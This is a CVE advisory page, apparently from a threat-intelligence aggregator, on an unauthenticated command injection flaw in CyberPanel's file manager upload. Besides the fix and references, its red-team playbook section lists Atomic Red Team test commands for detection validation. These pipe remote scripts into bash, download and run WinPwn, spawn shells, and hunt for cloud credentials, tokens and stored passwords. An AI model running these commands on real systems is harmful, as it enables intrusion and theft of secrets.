CVE-2024-51568
Overview
This vulnerability is a command injection flaw rooted in improper input sanitization of the completePath parameter within the ProcessUtilities.outputExecutioner() function. The affected component is CyberPanel's file management feature, specifically the /filemanager/upload endpoint, which processes user-supplied path data without adequate validation, enabling injection of shell metacharacters. The vulnerability exists in versions prior to 2.3.5, allowing untrusted input to be executed as system commands due to insecure handling of command execution routines.
Vulnerability Description
CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the underlying operating system by exploiting this vulnerability. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), enabling full system compromise remotely. This can lead to unauthorized data access, system manipulation, or complete control over the affected server, severely impacting confidentiality, integrity, and availability of hosted services.
Solution
Upgrade CyberPanel to version 2.3.5 or later, as detailed in the vendor's changelog at https://cyberpanel.net/KnowledgeBase/home/change-logs/. The vendor addresses this issue by sanitizing input parameters in the ProcessUtilities.outputExecutioner() function and securing the /filemanager/upload endpoint against unauthenticated command injection. No specific advisory ID is provided; users should follow official upgrade instructions from CyberPanel's knowledge base to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in CyberPanel prior to version 2.3.5 is characterized by a critical command injection flaw that arises from improper handling of user input in the ProcessUtilities.outputExecutioner() function. This vulnerability allows an attacker to exploit the completePath parameter, enabling the execution of arbitrary commands on the server. The flaw is particularly concerning as it can be triggered through the unauthenticated file upload feature, where attackers can leverage shell metacharacters to manipulate command execution. The lack of input validation and sanitization in this context creates a significant attack surface, allowing for remote code execution without any authentication barriers.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on the file upload functionality of the CyberPanel. An attacker could craft a malicious file that includes shell metacharacters, which, when processed by the vulnerable function, would execute arbitrary commands on the underlying operating system. This could be achieved by uploading a specially crafted file through the file manager interface, which does not require authentication. Once the attacker successfully executes commands, they could gain control over the server, access sensitive data, or even pivot to other systems within the network, amplifying the potential impact of the attack.
The real-world implications of this vulnerability are severe, particularly for organizations relying on CyberPanel for web hosting and management. The high CVSS score of 9.8 indicates that the risk is critical, suggesting that successful exploitation could lead to full system compromise. This could result in data breaches, loss of customer trust, and significant financial repercussions due to downtime or remediation efforts. Additionally, organizations may face regulatory scrutiny and penalties if sensitive information is exposed as a result of the exploitation. The potential for widespread damage underscores the importance of addressing this vulnerability promptly.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement several strategies. First, it is essential to update CyberPanel to the latest version, which includes patches for this vulnerability. Regularly applying security updates and maintaining an inventory of software versions can help prevent exploitation of known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to monitor and filter incoming traffic for malicious payloads. Implementing strict input validation and sanitization measures can also significantly reduce the risk of command injection attacks. Furthermore, conducting regular security assessments and penetration testing can help identify vulnerabilities before they can be exploited by malicious actors.
In conclusion, the command injection vulnerability in CyberPanel poses a significant threat to organizations utilizing this platform for web management. The ability for unauthenticated remote code execution through the file upload feature highlights critical weaknesses in input handling and security practices. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can take proactive measures to mitigate risks and protect their systems from exploitation. The implementation of robust detection and mitigation strategies is essential to safeguard against such vulnerabilities and maintain the integrity of critical business operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cyberpanel | Cyberpanel | All |
cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
CyberPanel Multi CVE Pre-auth RCE
exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve
|
DreyAnd, Valentin Lobstein, Luka Petrovic (refr4g) | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jsnv-dev/CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template
|
jsnv-dev | 1 | 1 | 2025-09-02 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-51568 |
| cwe.mitre.org |
GitHub CVE
|
https://cwe.mitre.org/data/definitions/78.html |
| dreyand.rs |
GitHub CVE
|
https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce |
| cyberpanel.net |
GitHub CVE
|
https://cyberpanel.net/KnowledgeBase/home/change-logs/ |
| cyberpanel.net |
GitHub CVE
|
https://cyberpanel.net/blog/cyberpanel-v2-3-5 |